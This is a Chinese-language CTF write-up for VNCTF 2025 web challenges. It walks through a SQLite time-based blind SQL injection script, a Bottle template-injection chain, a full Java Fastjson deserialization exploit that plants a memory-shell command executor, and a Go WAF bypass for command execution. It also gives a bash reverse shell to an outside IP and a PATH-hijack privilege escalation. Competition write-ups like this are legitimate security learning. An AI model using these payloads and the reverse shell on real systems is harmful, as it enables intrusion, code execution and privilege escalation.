VNCTF 2025 web wp
Web3看到路径穿越下key伪造jwt,也绕过沙箱弹到shell了,就剩一个提权。但这几天比较累,到后面实在是熬不动了,睡觉去了。今早起来看到环境变量提权的可能,但是最后还是没跑赢时间,导致差一题差一点就web方向第2了。

web单方向最终第10,我是前10里面唯一一个只出了三道题的。也许遗憾真的总是贯穿人生始终吧。
奶龙回家
这题我一血。感觉是最简单的一道。我JavaGuide燃尽了才解出来,这个题十分钟就出了,最后JavaGuide解是这个的两倍。绷。
首先测SQL注入闭合的方式。1"发现回显“账号密码错误!!”,1'发现回显“好像发生了某种错误??”。到这里可以确诊是sql注入。
接下来burp fuzz一下。过滤了空格,sleep,or,等于号这些。但是都还好。空格可以/**/代替。or其实根本不需要,直接用and就行,等于号的话用大于小于代替,sleep这个更是幽默——他是sqlite(我试的时候发现对大小写敏感我大概就猜到了),sqlite里没有sleep函数((((这里我们使用最经典的randombolb函数延时,逐字符爆破username和password即可
那么大概思路就是一个sqlite的时间盲注。
先试payload
1'/**/or/**/(case/**/when(2>1)/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*
发现明显的时间延迟。
一眼顶针了,后面就是经典的时盲二分法。直接可以拿网上的脚本搓出来。
https://www.freebuf.com/articles/network/324785.html
抄脚本下来,由于这里靶机比较卡,我们增大randombolb的参数让他多sleep一下
import requests
import time
url = 'http://node.vnteam.cn:46709/login'
flag = ''
for i in range(1,500):
low = 32
high = 128
mid = (low+high)//2
while(low<high):
time.sleep(0.2)
payload = "-1'/**/or/**/(case/**/when(substr((select/**/hex(group_concat(password))/**/from/**/users),{0},1)>'{1}')/**/then/**/randomblob(100000000)/**/else/**/0/**/end)/*".format(i,chr(mid))
#把payload里password换成username打username
datas = {
"username":"1",
"password": payload
}
# print(datas)
start_time=time.time()
res = requests.post(url=url,json=datas)
end_time=time.time()
spend_time=end_time-start_time
if spend_time>=0.4: #这里需要调一下。要先跑几次必会延迟的请求测试一下平均延时。
low = mid+1
else:
high = mid
mid = (low+high)//2
if(mid ==32 or mid ==127):
break
flag = flag+chr(mid)
print(flag)
print('\n'+bytes.fromhex(flag).decode('utf-8'))
由上,我们爆破出username为nailong,password为woaipangmao114514
登录获得flag
学生姓名登记系统
由“单文件框架”猜到是bottle。
翻阅bottle的开发手册,可以看到他渲染templete的模板引擎叫SimpleTemplate,手册如下:
https://www.osgeo.cn/bottle/stpl.html
我们可以看到有:

通过测试如下payload,我们确认是bottle框架:
{{setdefault('a','b')}}
{{a}}
输出:

可以看到我们成功定义了变量a的值为"b"。
通过fuzz可以看到,对于单行有23的长度限制。因此我们的基本思路是采用变量赋值的办法把payload拆成多行,最后再拼到一起即可。
然而我们不得不发现,setdefault有点太长了,光是{{setdefault('a','b')}}这样的payload都已经极限23个字符了。根本无法实现最后的拼接。
于是我们接着去看代码。
可以发现,我们不能直接用赋值符号=来进行赋值。SimpleTemplate不能正确解析{{a="b"}}这种语句。

我们可以看到python版本为3.12,而自从python3.8之后,python引入了一种新的赋值语句:海象运算符。
https://zhuanlan.zhihu.com/p/351140647
我们可以使用{{a:="b"}}的语句来赋值吗?
{{a:="b"}}
{{a}}

由此特性易得payload:
{{a:=''.__class__}}
{{b:=a.__base__}}
{{c:=b.__subclasses__}}
{{d:=c()}}
{{e:=d[154]}}
{{f:=e.__init__}}
{{g:=f.__globals__}}
在环境变量里找到flag

JavaGuide
ObjectInputStream(反序列化)输入数据可控,同时引入Fastjson依赖。那么题其实就是打fastjson。但是,是高版本的,重写了resolveClass,禁止了TemplatesImpl,直接把RCE的终点砍废了。
因此我们使用SignedObject类打二次反序列化,通过注入java内存马的方式RCE。
此事在CISCN 2024决赛中亦有记载:https://xz.aliyun.com/news/15977
有一篇几乎完全重合的文章:https://xz.aliyun.com/news/12052
跟着打就完了。
链子:hashMap2.readObject -> eventListenerList.readObject -> UndoManager.toString -> Vector.toString -> JSONArray1.toString -> SignedObject.getObject -> hashMap1.readObject->XString.equals -> JSONArray.toString -> TemplatesImpl.getOutputProperties
import com.alibaba.fastjson.JSONArray;
import javax.swing.event.EventListenerList;
import javax.swing.undo.UndoManager;
import javax.xml.bind.DatatypeConverter;
import java.io.*;
import java.lang.reflect.Field;
import java.security.*;
import java.util.HashMap;
import java.util.Vector;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xpath.internal.objects.XString;
import javassist.ClassPool;
import javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CtNewConstructor;
import org.springframework.aop.target.HotSwappableTargetSource;
public class EXP {
public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
public static byte[] genPayload(String cmd) throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass clazz = classPool.makeClass("A");
if ((clazz.getDeclaredConstructors()).length != 0) {
clazz.removeConstructor(clazz.getDeclaredConstructors()[0]);
} clazz.addConstructor(CtNewConstructor.make("public B() throws Exception {\n" +
" org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();\n" +
" javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();\n" +
" javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();\n" +
" String[] cmd = new String[]{\"sh\", \"-c\", httprequest.getHeader(\"C\")};\n" +
" byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter(\"\\\\A\").next().getBytes();\n" +
" httpresponse.getWriter().write(new String(result));\n" +
" httpresponse.getWriter().flush();\n" +
" httpresponse.getWriter().close();\n" +
" }", clazz));
clazz.getClassFile().setMajorVersion(50);
CtClass superClass = classPool.get(AbstractTranslet.class.getName());
clazz.setSuperclass(superClass);
return clazz.toBytecode();
}
public static Field getField ( final Class<?> clazz, final String fieldName ) throws Exception {
try {
Field field = clazz.getDeclaredField(fieldName);
if ( field != null )
field.setAccessible(true);
else if ( clazz.getSuperclass() != null )
field = getField(clazz.getSuperclass(), fieldName);
return field;
}
catch ( NoSuchFieldException e ) {
if ( !clazz.getSuperclass().equals(Object.class) ) {
return getField(clazz.getSuperclass(), fieldName);
}
throw e;
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String[] args) throws Exception{
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setValue(templates, "_bytecodes", new byte[][]{genPayload("whoami")});
setValue(templates, "_name", "1");
setValue(templates, "_tfactory", null);
JSONArray jsonArray = new JSONArray();
jsonArray.add(templates);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new Object());
HashMap<Object,Object> hashMap = new HashMap<>();
hashMap.put(h1,h1);
hashMap.put(h2,h2);
Class clazz=h2.getClass();
Field transformerdeclaredField = clazz.getDeclaredField("target");
transformerdeclaredField.setAccessible(true);
transformerdeclaredField.set(h2,new XString("xxx"));
HashMap<Object,Object> hashMap1 = new HashMap<>();
hashMap1.put(templates,hashMap);
KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");
SignedObject signedObject = new SignedObject(hashMap1,privateKey,signingEngine);
JSONArray jsonArray1 = new JSONArray();
jsonArray1.add(signedObject);
EventListenerList eventListenerList = new EventListenerList();
UndoManager undoManager = new UndoManager();
Vector vector = (Vector) getFieldValue(undoManager, "edits");
vector.add(jsonArray1);
setValue(eventListenerList, "listenerList", new Object[]{InternalError.class, undoManager});
HashMap hashMap2 = new HashMap();
hashMap2.put(vector,eventListenerList);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap2);
objectOutputStream.close();
byte [] bytes=byteArrayOutputStream.toByteArray();
String base64encode= DatatypeConverter.printBase64Binary(bytes);
BufferedWriter bufferedWriter=new BufferedWriter(new FileWriter("Ser3.bin"));
bufferedWriter.write(base64encode);
bufferedWriter.close();
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
}

Gin
嗨,结束时间10:00,嗨。为什么不肯多给我一个小时呢?
是LamentXU最爱的纯白盒审计题。
首先很明显就能看到一个路径穿越,有一个任意下载的洞:

显然,我们可以通过/download?filename=../config/key.go拿到jwt的secret和time。
package config
func Key() string {
return "r00t32l"
}
func Year() int64 {
return 2025
}
接着去看jwt的部分。

拿到生成密钥的逻辑。我们整个在线go环境跑一遍:https://www.jyshare.com/compile/21/
package main
import "fmt"
import "math/rand"
func GenerateKey() string {
rand.Seed(2025)
randomNumber := rand.Intn(1000)
key := fmt.Sprintf("%03d%s", randomNumber, "r00t32l")
return key
}
func main() {
fmt.Println(GenerateKey())
}

拿到key。
接下来就是RCE部分。基本上就是任意RCE,waf如下:

不允许你导入os/exec。然而,这里的正则表达式只匹配第一个import,令人忍俊不禁。
传入code为
package main
import (
"fmt"
)
import (
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "ls")
out, err := cmd.CombinedOutput()
fmt.Println(out)
fmt.Println(err)
}
成功执行。
直接cat /flag
发现输出VNCTF2025!!!。假flag(我可*你的吧)。
接下来就是提权
看root权限的文件:find / -perm -u=s -type f 2>/dev/null

可以看到有一个/.../Cat意义不明。
利用下载key.go的同款方法下载Cat。我们尝试将Cat利用cp命令复制到web目录。
cp /.../Cat Cat

随后/download?filename=../Cat
IDA逆向,如下:

发现这里是用的cat /flag而不是/bin/cat /flag。可以环境变量劫持。
(然后比赛结束了,大哭)
有点麻烦,先弹个shell吧。
package main
import (
"fmt"
)
import (
"os/exec"
)
func main() {
cmd := exec.Command("/bin/bash", "-c", "bash -i >& /dev/tcp/101.43.48.199/13311 0>&1")
out, err := cmd.CombinedOutput()
fmt.Println(out)
fmt.Println(err) }
注意!!!不要bp发包,用浏览器直接发!!!这破地方坑死我了,要不是我一直用bp我不会卡这么久。


/tmp目录可写,直接写一个/tmp/cat然后把PATH改过去,这样他在cat /flag的时候执行的就是我们/tmp下的那个cat脚本。
我们直接写个shell进去:
echo -e '#!/bin/bash\n/bin/bash' > /tmp/cat
赋予执行权限:
chmod 777 /tmp/cat
导入到环境变量:
export PATH=/tmp:$PATH
然后运行:
/.../Cat

劫持成功~
读取/root下的flag(不能用cat,cat被劫持了,可以用/bin/cat)


浙公网安备 33010602011771号